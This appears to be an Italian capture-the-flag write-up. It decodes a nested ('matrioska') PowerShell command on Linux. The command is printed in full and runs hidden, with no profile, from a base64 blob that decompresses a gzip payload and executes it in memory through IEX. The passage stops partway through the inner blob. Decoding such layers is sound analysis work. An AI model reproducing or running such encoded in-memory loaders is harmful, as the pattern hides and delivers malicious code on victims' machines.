Risolviamo questo esercizio utilizzando una qualunque macchina Linux.

Andando a vedere il contenuto del file con `cat`:

```
cat matrioska
```

otteniamo

```
powershell -nop -w hidden -encodedcommand
JGZsYWc9ImhpIGZyb20gdGhlcmUiOyRzPU5ldy1PYmplY3QgSU8uTWVtb3J5U3RyZWFtKC
xbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoIkg0c0lBQUFBQUFBQUErMWI2Vy9peUJM
L1BQa3IvQ0VTb0pERTRFQmdua1phRGdNMjJJQ3ZBTmtvOHRHQXNiR05EN0RaM2YvOVZUZk
haR1l5NzgwN3BOblZFcW5rUHFycitGVjF1VkhjTW9wdjVUaTB6Vmp3TFVUZGFpaU1iTitq
eWxkWDEzTlhYMUNmS0tZQzdiYlB4ZEQrSlhjMVR6d3p4aXk0OGJwQThXc1ErdWFyYmxraG
lpTHF0NnNQSXozVTExVCtlcXVIcjJ2ZlNseFVwRWdITXlJckNWSGh3NGVyRDJRbzhTSjlq
bDQ5UGJhMzZIV040cVZ2UmFBby85d0lncmEvMW0zdjVlUEhWaEtHeUlzUC9ic3VpaHRSaE
5hR2E2TW9YNkIrcDU2V0tFUzNRMk9GekpqNmpicCt2ZXU2dnFHN1I3YXNwWnRMY0s3aFdY
aHU0SnM2OXVCT0Rsdzd6dWQrL1RWWGVMNHR2ZHl4bTBSM28zeE96cUlZcmU4czE4MFZxRD
hLV0tHU0JTaWZFMnd6OUNOL0h0ODkyUjVUdmxPSjlTSXhYampZbmlzY1BWc0VPdmp4ZlNl
eDFNT2FmQTZhSThDbWNjQXdWNlNlc2I3bmx4ZnFsN00xVXVMRjlocmRjVjZNUWorUVViaT
FUUlRkOVhUUGNwR0U1ckFzRjBFb3ZVV3VBRWFFS0U1Q2p6clpBdXUydm9QeTExN2l1a1dR
Ky95amNsL3lJdHFkd1AzUlJmbTNpNEJyRkllRjRqRW5mZ1FPZ2VUTlFSeTQ4NDMxYjVLck
FIL2ZKRmpoNm8rcmQxTFZRaTVhNkRGNmpRSGZON2w2OWVIRE0ya2k4Q2MvOGlPYnJQdEUw
VVZLQUNQMDJBOHpIRTRsVEZEaDVYTjhEbXBQSzZQaWR3V1ZUcXVPYXc3aE9kanhpWHJXZk
50NnVmcFF1RHBtRHg1L05STGJ0VkNJNTcrL0c5cG9ibnVvblhuNjJqWlBDWjkvTDJabzdp
S0N4OTJKVFFRNzg3bmpCTExhUjNSeUdORG5iNWV4YXpzK3IyMGVqR3VZRVBjSXJJS1VLSH
hwekNHRytSem5DV2dOK0IzNmtLYlhjOWhtNk1SOTNGclpTVHZ1NDF4dXVYb1VGYWxSQXZ2
Y0xGSXkwbDFrRmFtR0Y5bkhxVVlTKzZTWisyeXVrTGl4YmVwUmZCTDNVbmdIMHFQcWx1L0
Jqa2xNaUM3QW9NZ0JNbTNkeGFnVXFaNXRvV1ltMjR1VENibDNNV25wcmd0YkRpUnRJU1l3
Z3JHUVk1d3pvVlg4T2o4S2R6S0t1WFhnb2pWd2t5clVnU29MTmVlNG8waTY2UXRrNWY2Rj
JhZDljdGdVR0tzVFNHK01oZ1NRWFQ4dVVwb2R4bERYY3NWdkV1OS9NKy9MRXZPRm1hMFFI
UU9aSnh2eHVabkZlTHNRVGhPL2FENmRzU1RJaFRHZzFnbjlkVk9QVVBWQkptVXNuek84OV
o3TEdpc3VFenlnRlNQdVZsd2x3bjFDMCtQelI2bEtublJ0TGRNck53dVRSaERaeHMxRHk2
TGp2dG9RRlZWTldWWGxodzI2MlZMVWtxRHR4S2EwRUNYTm9kc3kwS3ljN2hwMFJaRG9xVG
l3SDRMbVdiWllSdG1FRlpiQndOMXp1bHd4czY2VFRQUUozM2RYN0xHL21ZeFNtSCtVTmtw
bHVzZnpjVGZnM1pVQTgxWXFPODBCV2YrdTdlSitaZ3NySStNOHJtYXd6bVQzZWE0R05PWj
h6cVlyWEdiaXNjb1puejJIbjN2Y2JoekhoR09mazRVVkw1OTF1RzkwdGZHVFAvZFp3SG02
NHZiQ2dRNHlDSkg1L2RlMlJpMTREbjRvSmd4UVNtdzJzSDJqL3pDZWJ3bXY3LzRJNzY0MG
tkeDRndHVTelo3eE9maHJ2c01QUkF1aXFsb3RqZVp3ZS9rWlQ4SWZ2aE12UXUzVG1reW9D
aGpybE13em1HZndqbTA0bng5MkpVbHk2c0s0SmF3Nng5aWY0a1ZzK1hwZEdSUDdYK04yb2
I4Wk1icS9yN1pIL2VweTNhOEc2L0tOdEdiSTNNaVp4VFhDazdVMnZoSGZMQjdzL2dhZXZo
WFhwcFpkSHd1YkpmQ3JLNjY2VE1yVnRzMXRncVJjVzlVM3d1em1ZWGkvZmJ6NWtxek5Dbz
VBdFI0SHVTdy9vV1RteC92czhkNWt4R3hSeWJZTzlFbGR6K29Qb0hlNGZzZ3l6NEU2eDFV
cnlaN3BKNVlmcDdJczhoenRlckxNdzlOWnlWbDl5ZTFockw0cmoyQS9DRlZqTmVnanNnY3
JmZU9lcWU5TjBHZHoxZXI2dmc2NmVrUHdSY3lZOXJRTmUzWXZQNGtEVXJQb2lOUXdXUjdD
OGJPZXd2d0F6Mi9XeGh4MG5ubFlQTlkxNWliNHZHY0dwcmlvdGJrOXJJbHZObkU0UitCTE
VtenY1NHlZQXQrallzYTdjcFBZdFN6VFRNOFVWeEhobjhYaUhuU3NpSTd1NHdqejRmMHNn
RTh3enBEeHIzREUrSm1BK1FEaXhGU2JpTW40Q1djdTFsazl0RUN2d1JHc1Z0MTV3bTY1bS
svZ0w5VHVLMTFqUW5naDF2UlhzWVk1ZytRRnpLVlo3VEFYUmFlNUVWa0hPRXd4ZGpnR204
```

bzZaVWFtdUJTd1g1c1o1TWtFWkdsMmo5TVNhVjBpOGlFK2dCZUQ4Ykt4L3dMaVpLaURwZW
t5NjRXZ0crS0RzYzlpbThUU0FYMTdGdU93UDhiQThEdVBCbGN5dDV1ZVlaaldFYXZhZ3Z1
OHhySER0ZEV6SVE4R0JHL0laY0NvbklrVGZvanRJSFYzWExXenRSTHZUYWFQOFJNbkk3Mk
phSGdPVk1nbHVROXhKTEgzR3FjNDE0KzZZSCtVQ0xhTm43OW5ML1FuSjNIUWdIMmlqU0hu
cWc2Y2Y0WnQzSGQyMEsvUTBCOXRjZjhlOTJ1NEx5d2I4RDRYeC9EZTNrVk42RnNOK2EyOF
VUZmxPN1ZEbTlSR2NsNng4UHVmTVQrZk4waU5tdUx6aUtqUk0wUGJXVVBsS09kOEh0cVYr
aExOVDhZTDg0bXNTU044dnJ2SDdiYlc2WTFkQyt3UmNmMVp1UWQrNmNCdnpaNDB0emRXeD
FoZWlPMFh2NVFuSFd5b1lYL0ltYWF0QmtSZU16M3NHUmI3bTVKYUlzb09PUXYxT20vd0tu
OHBUenY2cFhESDg5S2I4NU9DK2QvZ25UYStkeDU2UXpMV1gxSnhQQUs4ZmtIaUllQytoZn
VQdUgrUDdSK0pSRDZPeDE3RjhSaGcrYjN4NlZ3MWRMbHljNlIwbWwyZDVrV0pybmU1aXVt
WjZtd2tPZnhZOHBwZHhlRVZtVTRsQ2VUVVd6TjY3QVNUbVpwS0podUlFbHZ2R215SGw1em
1oS3ZVVnROT3B3czRkV2V1MWxVMGk5UkN2cHdxa2xOYWErcE0xTXBnRjdPeloyN2MxeGhy
b0txemxnUThqN2FWU203elNYRm1qRndDR1k1Snp2OG5lV2FwSTR6WjJWanR3dnI2ZURsal
p4UDRiUVBuU2I0M1pkTkRqdUE4eW1ZN3liV09NcXlGd3A3T3hDT0g5N1MrcWxsUFk2ZHVL
elNjUTdzei9INTQ0Q2VTSkgraG93SStwOUlUK0p2WjRnTGJDUEoza2xOcHFYUXNRQi84RX
YyWjE0bG42OXFZSFpkNkNsMzdFK3pWQy8xVmlLa2xFWDZPcTJHWDNYWjZteDZyQU1HWmdH
VUd2QlEwcFlHNTZiQUROaG1PZWpRLzU4YTE5a095UzdoRTJtaFJtZ0lmdk5QWk9iY1Y2VT
FYTklKRW5CalpBTWFpeDAwdmFwdlpZQmNrd2FSWDltV212NWhzV29NU200enN4MVoxeENW
alkxZUNjeE9jUTdxZGg1NFdpWGhOajlzMk81dFczWWYyUGJkdCtYeDFZZGVxZ2RmY1dRK0
k1YXRvTWpCM1RGeEQraUxOTmlNNDY2WTNNbDNxYWxEek5LZ0ZzbWNOak5LNHc0djdNcnRk
N3N4ZWMyY0trWVg5Tkp4MEpqdjEwWGl4ZTJwTFFydkZTSDFGdFFTdDAyZ2JFN1BkR2ROeX
R5RXlLdFJacUJXVGRuTXNzdW1pclVMUllKZWN5Tzc4dGtJSG5MUVFIYWcxbk5JU0I5Mkpw
aTlCRitqaE9kQWxWeGF3TDBlRE5jWjRsdzRsTCsxcWFqQ2FzeFo1dHB1Uk5tVzFjYWM3cz
FYUFVsUzNTV3V1dEZEWjBoT2FRQlVvbDJ5VDVoV0ZDWHk5VzJISEtoOHFibEI3S2tXYURM
OVZaVWJlYkljVHM3NEpYWk9GMnE4bUh2YlI2alZMY20xWmJrc3JzeDVxZkgrU0V0OHROUn
J5U2p4bFJ2cjZvVFJsNUdxMHcrK0hXVjE0MnRYM1phTmp0RElHMTJHUm41N083Qm4rclN6
dVpDYnBtWUlCOGdERGZzaGFvQSsveDh5ZU5oQ01wODNPMnBkeHpCLzdDNGRMV2lEZjZLS2
JaaTByN1hGY2hsQXpKZGxKeHpMTGlXcEhhcWxzczZXTVN3MkZmVml0eGVIVFlxTHhITk0y
Ni9iUDNRY1h1dENGTG5TaEMxM29RaGU2MElVdWRLRUxYZWhDRjdyUUQxTzVMb3haZmpRdk
JaSGw4bW0zSEl3UjdjNFE0MVlNZHJrMmxwM0dUN2Z4cjB3bmZKa2dSRTVkVlRyTmhpNkpy
UTdqU2pObXFxbWxZUHpUYmZ5TGtxck44UC9lUm15VEZTVTM3djVzZXk1MG9SUGgvMHVRLz
IwL0NrcVNEcWZzZlVQWlNTT0Z6UnhaVExrNnU0aGtOdTBQMkVDVjYrbWd6OGFxM0YreWUx
YWhKVFB0VkZqNTU5cC9vYjhKN1Q1OXVzS2ZiOC85a01wZnAvaVN3ejhvZU42Nk1YWCtRUH
V1NVNkZWpNZHZiZ3I0b3NSNTV2azZmVGxkYkRuM2I0MFVwREVWL0xFM21kbnFiejd4L3Q1
dEVVRVBvNlh1dm56ODJFWG43L1U3ZnRnNTN0c1krVFpla2MrL2Y5WElRYUdIWEthTUwrcW
N2bkp2dUs1djRwc20zN255OFV2KytYQWI1YVZJUGF2UVpNcnZ0Z3JVbWJGUUtCeDhNcEw1
bk56R09IcDR1cFJ5WXZ6NGNRYnVGZCtBT0VEZUlsNFdLVHBsYUpyR3p3ZTZjUFhqc0xUOE
lNdWZ4Ulh4YlpRM2xyelY1QkpOaFNQNlllS3QwZjh4QUY4by9mZlFZdkRJaFpZemRNU2c5
L0VxWE9WK3Vicmk1dFNiOGNqZUkrb1diYWdheWIwbzFzUDRkdVViMUc4VXVheVF2OVlMRk
1kT3FHdWQrb082QmZjYUVWT21iaHZoSXNFM0Y2akRmYlhmcVoxdUh4YitUa25JUlBZVzNm
SytBVm1LM0lqYy95RkNNRE9NL1JPb3RrWnVERGNBQUE9PSIpKTtJRVggKE5ldy1PYmplY3
QgSU8uU3RyZWFtUmVhZGVyKE5ldy1PYmplY3QgSU8uQ29tcHJlc3Npb24uR3ppcFN0cmVh
bSgkcyxbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2RlXTo6RGVjb21wcmVzcykpKS
5SZWFkVG9FbmQoKTs=

L'output del comando e lo switch powershell *encodedcommand* lascia intuire che la stringa successiva sia *base64 encoded*.

L'help di powershell riporta infatti:

```
-EncodedCommand

    Accepts a base-64-encoded string version of a command. Use this parameter
    to submit commands to Windows PowerShell that require complex quotation
    marks or curly braces.
```

Proviamo a decodificarla mandando il payload, attraverso il comando `echo`, in pipe al comando `base64 -d` :

echo
JGZsYWc9ImhpIGZyb20gdGhlcmUiOyRzPU5ldy1PYmplY3QgSU8uTWVtb3J5U3RyZWFtKC
xbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoIkg0c0lBQUFBQUFBQUErMWI2Vy9peUJM
L1BQa3IvQ0VTb0pERTRFQmdua1phRGdNMjJJQ3ZBTmtvOHRHQXNiR05EN0RaM2YvOVZUZk
haR1l5NzgwN3BOblZFcW5rUHFycitGVjF1VkhjTW9wdjVUaTB6Vmp3TFVUZGFpaU1iTitq
eWxkWDEzTlhYMUNmS0tZQzdiYlB4ZEQrSlhjMVR6d3p4aXk0OGJwQThXc1ErdWFyYmxraG
lpTHF0NnNQSXozVTExVCtlcXVIcjJ2ZlNseFVwRWdITXlJckNWSGh3NGVyRDJRbzhTSjlq
bDQ5UGJhMzZIV040cVZ2UmFBby85d0lncmEvMW0zdjVlUEhWaEtHeUlzUC9ic3VpaHRSaE
5hR2E2TW9YNkIrcDU2V0tFUzNRMk9GekpqNmpicCt2ZXU2dnFHN1I3YXNwWnRMY0s3aFdY
aHU0SnM2OXVCT0Rsdzd6dWQrL1RWWGVMNHR2ZHl4bTBSM28zeE96cUlZcmU4czE4MFZxRD
hLV0tHU0JTaWZFMnd6OUNOL0h0ODkyUjVUdmxPSjlTSXhYampZbmlzY1BWc0VPdmp4ZlNl
eDFNT2FmQTZhSThDbWNjQXdWNlNlc2I3bmx4ZnFsN00xVXVMRjlocmRjVjZNUWorUVViaT
FUUlRkOVhUUGNwR0U1ckFzRjBFb3ZVV3VBRWFFS0U1Q2p6clpBdXUydm9QeTExN2l1a1dR
Ky95amNsL3lJdHFkd1AzUlJmbTNpNEJyRkllRjRqRW5mZ1FPZ2VUTlFSeTQ4NDMxYjVLck
FIL2ZKRmpoNm8rcmQxTFZRaTVhNkRGNmpRSGZON2w2OWVIRE0ya2k4Q2MvOGlPYnJQdEUw
VVZLQUNQMDJBOHpIRTRsVEZEaDVYTjhEbXBQSzZQaWR3V1ZUcXVPYXc3aE9kanhpWHJXZk
50NnVmcFF1RHBtRHg1L05STGJ0VkNJNTcrL0c5cG9ibnVvblhuNjJqWlBDWjkvTDJabzdp
S0N4OTJKVFFRNzg3bmpCTExhUjNSeUdORG5iNWV4YXpzK3IyMGVqR3VZRVBjSXJJS1VLSH
hwekNHRytSem5DV2dOK0IzNmtLYlhjOWhtNk1SOTNGclpTVHZ1NDF4dXVYb1VGYWxSQXZ2
Y0xGSXkwbDFrRmFtR0Y5bkhxVVlTKzZTWisyeXVrTGl4YmVwUmZCTDNVbmdIMHFQcWx1L0
Jqa2xNaUM3QW9NZ0JNbTNkeGFnVXFaNXRvV1ltMjR1VENibDNNV25wcmd0YkRpUnRJU1l3
Z3JHUVk1d3pvVlg4T2o4S2R6S0t1WFhnb2pWd2t5clVnU29MTmVlNG8waTY2UXRrNWY2Rj

JhZDljdGdVR0tzVFNHK01oZ1NRWFQ4dVVwb2R4bERYY3NWdkV1OS9NKy9MRXZPRm1hMFFI
UU9aSnh2eHVabkZlTHNRVGhPL2FENmRzU1RJaFRHZzFnbjlkVk9QVVBWQkptVXNuek84OV
o3TEdpc3VFenlnRlNQdVZsd2x3bjFDMCtQelI2bEtublJ0TGRNck53dVRSaERaeHMxRHk2
TGp2dG9RRlZWTldWWGxodzI2MlZMVWtxRHR4S2EwRUNYTm9kc3kwS3ljN2hwMFJaRG9xVG
l3SDRMbVdiWllSdG1FRlpiQndOMXp1bHd4czY2VFRQUUozM2RYN0xHL21ZeFNtSCtVTmtw
bHVzZnpjVGZnM1pVQTgxWXFPODBCV2YrdTdlSitaZ3NySStNOHJtYXd6bVQzZWE0R05PWj
h6cVlyWEdiaXNjb1puejJIbjN2Y2JoekhoR09mazRVVkw1OTF1RzkwdGZHVFAvZFp3SG02
NHZiQ2dRNHlDSkg1L2RlMlJpMTREbjRvSmd4UVNtdzJzSDJqL3pDZWJ3bXY3LzRJNzY0MG
tkeDRndHVTelo3eE9maHJ2c01QUkF1aXFsb3RqZVp3ZS9rWlQ4SWZ2aE12UXUzVG1reW9D
aGpybE13em1HZndqbTA0bng5MkpVbHk2c0s0SmF3Nng5aWY0a1ZzK1hwZEdSUDdYK04yb2
I4Wk1icS9yN1pIL2VweTNhOEc2L0tOdEdiSTNNaVp4VFhDazdVMnZoSGZMQjdzL2dhZXZo
WFhwcFpkSHd1YkpmQ3JLNjY2VE1yVnRzMXRncVJjVzlVM3d1em1ZWGkvZmJ6NWtxek5Dbz
VBdFI0SHVTdy9vV1RteC92czhkNWt4R3hSeWJZTzlFbGR6K29Qb0hlNGZzZ3l6NEU2eDFV
cnlaN3BKNVlmcDdJczhoenRlckxNdzlOWnlWbDl5ZTFockw0cmoyQS9DRlZqTmVnanNnY3
JmZU9lcWU5TjBHZHoxZXI2dmc2NmVrUHdSY3lZOXJRTmUzWXZQNGtEVXJQb2lOUXdXUjdD
OGJPZXd2d0F6Mi9XeGh4MG5ubFlQTlkxNWliNHZHY0dwcmlvdGJrOXJJbHZObkU0UitCTE
VtenY1NHlZQXQrallzYTdjcFBZdFN6VFRNOFVWeEhobjhYaUhuU3NpSTd1NHdqejRmMHNn
RTh3enBEeHIzREUrSm1BK1FEaXhGU2JpTW40Q1djdTFsazl0RUN2d1JHc1Z0MTV3bTY1bS
svZ0w5VHVLMTFqUW5naDF2UlhzWVk1ZytRRnpLVlo3VEFYUmFlNUVWa0hPRXd4ZGpnR204
bzZaVWFtdUJTd1g1c1o1TWtFWkdsMmo5TVNhVjBpOGlFK2dCZUQ4Ykt4L3dMaVpLaURwZW
t5NjRXZ0crS0RzYzlpbThUU0FYMTdGdU93UDhiQThEdVBCbGN5dDV1ZVlaaldFYXZhZ3Z1
OHhySER0ZEV6SVE4R0JHL0laY0NvbklrVGZvanRJSFYzWExXenRSTHZUYWFQOFJNbkk3Mk
phSGdPVk1nbHVROXhKTEgzR3FjNDE0KzZZSCtVQ0xhTm43OW5ML1FuSjNIUWdIMmlqU0hu
cWc2Y2Y0WnQzSGQyMEsvUTBCOXRjZjhlOTJ1NEx5d2I4RDRYeC9EZTNrVk42RnNOK2EyOF
VUZmxPN1ZEbTlSR2NsNng4UHVmTVQrZk4waU5tdUx6aUtqUk0wUGJXVVBsS09kOEh0cVYr
aExOVDhZTDg0bXNTU044dnJ2SDdiYlc2WTFkQyt3UmNmMVp1UWQrNmNCdnpaNDB0emRXeD
FoZWlPMFh2NVFuSFd5b1lYL0ltYWF0QmtSZU16M3NHUmI3bTVKYUlzb09PUXYxT20vd0tu
OHBUenY2cFhESDg5S2I4NU9DK2QvZ25UYStkeDU2UXpMV1gxSnhQQUs4ZmtIaUllQytoZn
VQdUgrUDdSK0pSRDZPeDE3RjhSaGcrYjN4NlZ3MWRMbHljNlIwbWwyZDVrV0pybmU1aXVt
WjZtd2tPZnhZOHBwZHhlRVZtVTRsQ2VUVVd6TjY3QVNUbVpwS0podUlFbHZ2R215SGw1em
1oS3ZVVnROT3B3czRkV2V1MWxVMGk5UkN2cHdxa2xOYWErcE0xTXBnRjdPeloyN2MxeGhy
b0txemxnUThqN2FWU203elNYRm1qRndDR1k1Snp2OG5lV2FwSTR6WjJWanR3dnI2ZURsal
p4UDRiUVBuU2I0M1pkTkRqdUE4eW1ZN3liV09NcXlGd3A3T3hDT0g5N1MrcWxsUFk2ZHVL
elNjUTdzei9INTQ0Q2VTSkgraG93SStwOUlUK0p2WjRnTGJDUEoza2xOcHFYUXNRQi84RX
YyWjE0bG42OXFZSFpkNkNsMzdFK3pWQy8xVmlLa2xFWDZPcTJHWDNYWjZteDZyQU1HWmdH
VUd2QlEwcFlHNTZiQUROaG1PZWpRLzU4YTE5a095UzdoRTJtaFJtZ0lmdk5QWk9iY1Y2VT
FYTklKRW5CalpBTWFpeDAwdmFwdlpZQmNrd2FSWDltV212NWhzV29NU200enN4MVoxeENW
alkxZUNjeE9jUTdxZGg1NFdpWGhOajlzMk81dFczWWYyUGJkdCtYeDFZZGVxZ2RmY1dRK0
k1YXRvTWpCM1RGeEQraUxOTmlNNDY2WTNNbDNxYWxEek5LZ0ZzbWNOak5LNHc0djdNcnRk
N3N4ZWMyY0trWVg5Tkp4MEpqdjEwWGl4ZTJwTFFydkZTSDFGdFFTdDAyZ2JFN1BkR2ROeX
R5RXlLdFJacUJXVGRuTXNzdW1pclVMUllKZWN5Tzc4dGtJSG5MUVFIYWcxbk5JU0I5Mkpw
aTlCRitqaE9kQWxWeGF3TDBlRE5jWjRsdzRsTCsxcWFqQ2FzeFo1dHB1Uk5tVzFjYWM3cz
FYUFVsUzNTV3V1dEZEWjBoT2FRQlVvbDJ5VDVoV0ZDWHk5VzJISEtoOHFibEI3S2tXYURM
OVZaVWJlYkljVHM3NEpYWk9GMnE4bUh2YlI2alZMY20xWmJrc3JzeDVxZkgrU0V0OHROUn
J5U2p4bFJ2cjZvVFJsNUdxMHcrK0hXVjE0MnRYM1phTmp0RElHMTJHUm41N083Qm4rclN6
dVpDYnBtWUlCOGdERGZzaGFvQSsveDh5ZU5oQ01wODNPMnBkeHpCLzdDNGRMV2lEZjZLS2
JaaTByN1hGY2hsQXpKZGxKeHpMTGlXcEhhcWxzczZXTVN3MkZmVml0eGVIVFlxTHhITk0y
Ni9iUDNRY1h1dENGTG5TaEMxM29RaGU2MElVdWRLRUxYZWhDRjdyUUQxTzVMb3haZmpRdk

```
JaSGw4bW0zSEl3UjdjNFE0MVlNZHJrMmxwM0dUN2Z4cjB3bmZKa2dSRTVkVlRyTmhpNkpy
UTdqU2pObXFxbWxZUHpUYmZ5TGtxck44UC9lUm15VEZTVTM3djVzZXk1MG9SUGgvMHVRLz
IwL0NrcVNEcWZzZlVQWlNTT0Z6UnhaVExrNnU0aGtOdTBQMkVDVjYrbWd6OGFxM0YreWUx
YWhKVFB0VkZqNTU5cC9vYjhKN1Q1OXVzS2ZiOC85a01wZnAvaVN3ejhvZU42Nk1YWCtRUH
V1NVNkZWpNZHZiZ3I0b3NSNTV2azZmVGxkYkRuM2I0MFVwREVWL0xFM21kbnFiejd4L3Q1
dEVVRVBvNlh1dm56ODJFWG43L1U3ZnRnNTN0c1krVFpla2MrL2Y5WElRYUdIWEthTUwrcW
N2bkp2dUs1djRwc20zN255OFV2KytYQWI1YVZJUGF2UVpNcnZ0Z3JVbWJGUUtCeDhNcEw1
bk56R09IcDR1cFJ5WXZ6NGNRYnVGZCtBT0VEZUlsNFdLVHBsYUpyR3p3ZTZjUFhqc0xUOE
lNdWZ4Ulh4YlpRM2xyelY1QkpOaFNQNlllS3QwZjh4QUY4by9mZlFZdkRJaFpZemRNU2c5
L0VxWE9WK3Vicmk1dFNiOGNqZUkrb1diYWdheWIwbzFzUDRkdVViMUc4VXVheVF2OVlMRk
1kT3FHdWQrb082QmZjYUVWT21iaHZoSXNFM0Y2akRmYlhmcVoxdUh4YitUa25JUlBZVzNm
SytBVm1LM0lqYy95RkNNRE9NL1JPb3RrWnVERGNBQUE9PSIpKTtJRVggKE5ldy1PYmplY3
QgSU8uU3RyZWFtUmVhZGVyKE5ldy1PYmplY3QgSU8uQ29tcHJlc3Npb24uR3ppcFN0cmVh
bSgkcyxbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2RlXTo6RGVjb21wcmVzcykpKS
5SZWFkVG9FbmQoKTs= | base64 -d
```

Il risultato è il seguente:

```
$flag="hi from there";$s=New-Object
IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAA+1b6W/iyBL/
PPkr/CESoJDE4EBgnkZaDgM22ICvANko8tGAsbGND7DZ3f/9VTfHZGYy7807pNnVEqnkPq
rr+FV1uVHcMopv5Ti0zVjwLUTdaiiMbN+jyldX13NXX1CfKKYC7bbPxdD+JXc1Tzwzxiy4
8bpA8WsQ+uarblkhiiLqt6sPIz3U11T+equHr2vfSlxUpEgHMyIrCVHhw4erD2Qo8SJ9jl
49Pba36HWN4qVvRaAo/9wIgra/1m3v5ePHVhKGyIsP/bsuihtRhNaGa6MoX6B+p56WKES3
Q2OFzJj6jbp+veu6vqG7R7aspZtLcK7hWXhu4Js69uBODlw7zud+/TVXeL4tvdyxm0R3o3
xOzqIYre8s180VqD8KWKGSBSifE2wz9CN/Ht892R5TvlOJ9SIxXjjYniscPVsEOvjxfSex
1MOafA6aI8CmccAwV6Sesb7nlxfql7M1UuLF9hrdcV6MQj+QUbi1TRTd9XTPcpGE5rAsF0
EovUWuAEaEKE5CjzrZAuu2voPy117iukWQ+/yjcl/yItqdwP3RRfm3i4BrFIeF4jEnfgQO
geTNQRy48431b5KrAH/fJFjh6o+rd1LVQi5a6DF6jQHfN7l69eHDM2ki8Cc/8iObrPtE0U
VKACP02A8zHE4lTFDh5XN8DmpPK6PidwWVTquOaw7hOdjxiXrWfNt6ufpQuDpmDx5/NRLb
tVCI57+/G9pobnuonXn62jZPCZ9/L2Zo7iKCx92JTQQ787njBLLaR3RyGNDnb5exazs+r2
0ejGuYEPcIrIKUKHxpzCGG+RznCWgN+B36kKbXc9hm6MR93FrZSTvu41xuuXoUFalRAvvc
LFIy0l1kFamGF9nHqUYS+6SZ+2yukLixbepRfBL3UngH0qPqlu/BjklMiC7AoMgBMm3dxa
gUqZ5toWYm24uTCbl3MWnprgtbDiRtISYwgrGQY5wzoVX8Oj8KdzKKuXXgojVwkyrUgSoL
Nee4o0i66Qtk5f6F2ad9ctgUGKsTSG+MhgSQXT8uUpodxlDXcsVvEu9/M+/LEvOFma0QHQ
OZJxvxuZnFeLsQThO/aD6dsSTIhTGg1gn9dVOPUPVBJmUsnzO89Z7LGisuEzygFSPuVlwl
wn1C0+PzR6lKnnRtLdMrNwuTRhDZxs1Dy6LjvtoQFVVNWVXlhw262VLUkqDtxKa0ECXNod
sy0Kyc7hp0RZDoqTiwH4LmWbZYRtmEFZbBwN1zulwxs66TTPQJ33dX7LG/mYxSmH+UNkpl
usfzcTfg3ZUA81YqO80BWf+u7eJ+ZgsrI+M8rmawzmT3ea4GNOZ8zqYrXGbiscoZnz2Hn3
vcbhzHhGOfk4UVL591uG90tfGTP/dZwHm64vbCgQ4yCJH5/de2Ri14Dn4oJgxQSmw2sH2j
/zCebwmv7/4I7640kdx4gtuSzZ7xOfhrvsMPRAuiqlotjeZwe/kZT8IfvhMvQu3TmkyoCh
jrlMwzmGfwjm04nx92JUly6sK4Jaw6x9if4kVs+XpdGRP7X+N2ob8ZMbq/r7ZH/epy3a8G
6/KNtGbI3MiZxTXCk7U2vhHfLB7s/gaevhXXppZdHwubJfCrK666TMrVts1tgqRcW9U3wu
zmYXi/fbz5kqzNCo5AtR4HuSw/oWTmx/vs8d5kxGxRybYO9Eldz+oPoHe4fsgyz4E6x1Ur
yZ7pJ5Yfp7Is8hzterLMw9NZyVl9ye1hrL4rj2A/CFVjNegjsgcrfeOeqe9N0Gdz1er6vg
```

```
66ekPwRcyY9rQNe3YvP4kDUrPoiNQwWR7C8bOewvwAz2/Wxhx0nnlYPNY15ib4vGcGprio
tbk9rIlvNnE4R+BLEmzv54yYAt+jYsa7cpPYtSzTTM8UVxHhn8XiHnSsiI7u4wjz4f0sgE
8wzpDxr3DE+JmA+QDixFSbiMn4CWcu1lk9tECvwRGsVt15wm65m+/gL9TuK11jQngh1vRX
sYY5g+QFzKVZ7TAXRae5EVkHOEwxdjgGm8o6ZUamuBSwX5sZ5MkEZGl2j9MSaV0i8iE+gB
eD8bKx/wLiZKiDpeky64WgG+KDsc9im8TSAX17FuOwP8bA8DuPBlcyt5ueYZjWEavagvu8
xrHDtdEzIQ8GBG/IZcConIkTfojtIHV3XLWztRLvTaaP8RMnI72JaHgOVMgluQ9xJLH3Gq
c414+6YH+UCLaNn79nL/QnJ3HQgH2ijSHnqg6cf4Zt3Hd20K/Q0B9tcf8e92u4Lywb8D4X
x/De3kVN6FsN+a28UTflO7VDm9RGcl6x8PufMT+fN0iNmuLziKjRM0PbWUPlKOd8HtqV+h
LNT8YL84msSSN8vrvH7bbW6Y1dC+wRcf1ZuQd+6cBvzZ40tzdWx1heiO0Xv5QnHWyoYX/I
maatBkReMz3sGRb7m5JaIsoOOQv1Om/wKn8pTzv6pXDH89Kb85OC+d/gnTa+dx56QzLWX1
JxPAK8fkHiIeC+hfuPuH+P7R+JRD6Ox17F8Rhg+b3x6Vw1dLlyc6R0ml2d5kWJrne5iumZ
6mwkOfxY8ppdxeEVmU4lCeTUWzN67ASTmZpKJhuIElvvGmyHl5zmhKvUVtNOpws4dWeu1l
U0i9RCvpwqklNaa+pM1MpgF7OzZ27c1xhroKqzlgQ8j7aVSm7zSXFmjFwCGY5Jzv8neWap
I4zZ2Vjtwvr6eDljZxP4bQPnSb43ZdNDjuA8ymY7ybWOMqyFwp7OxCOH97S+qllPY6duKz
ScQ7sz/H544CeSJH+howI+p9IT+JvZ4gLbCPJ3klNpqXQsQB/8Ev2Z14ln69qYHZd6Cl37
E+zVC/1ViKklEX6Oq2GX3XZ6mx6rAMGZgGUGvBQ0pYG56bADNhmOejQ/58a19kOyS7hE2m
hRmgIfvNPZObcV6U1XNIJEnBjZAMaix00vapvZYBckwaRX9mWmv5hsWoMSm4zsx1Z1xCVj
Y1eCcxOcQ7qdh54WiXhNj9s2O5tW3Yf2Pbdt+Xx1YdeqgdfcWQ+I5atoMjB3TFxD+iLNNi
M466Y3Ml3qalDzNKgFsmcNjNK4w4v7Mrtd7sxec2cKkYX9NJx0Jjv10Xixe2pLQrvFSH1F
tQSt02gbE7PdGdNytyEyKtRZqBWTdnMssumirULRYJecyO78tkIHnLQQHag1nNISB92Jpi
9BF+jhOdAlVxawL0eDNcZ4lw4lL+1qajCasxZ5tpuRNmW1cac7s1XPUlS3SWuutFDZ0hOa
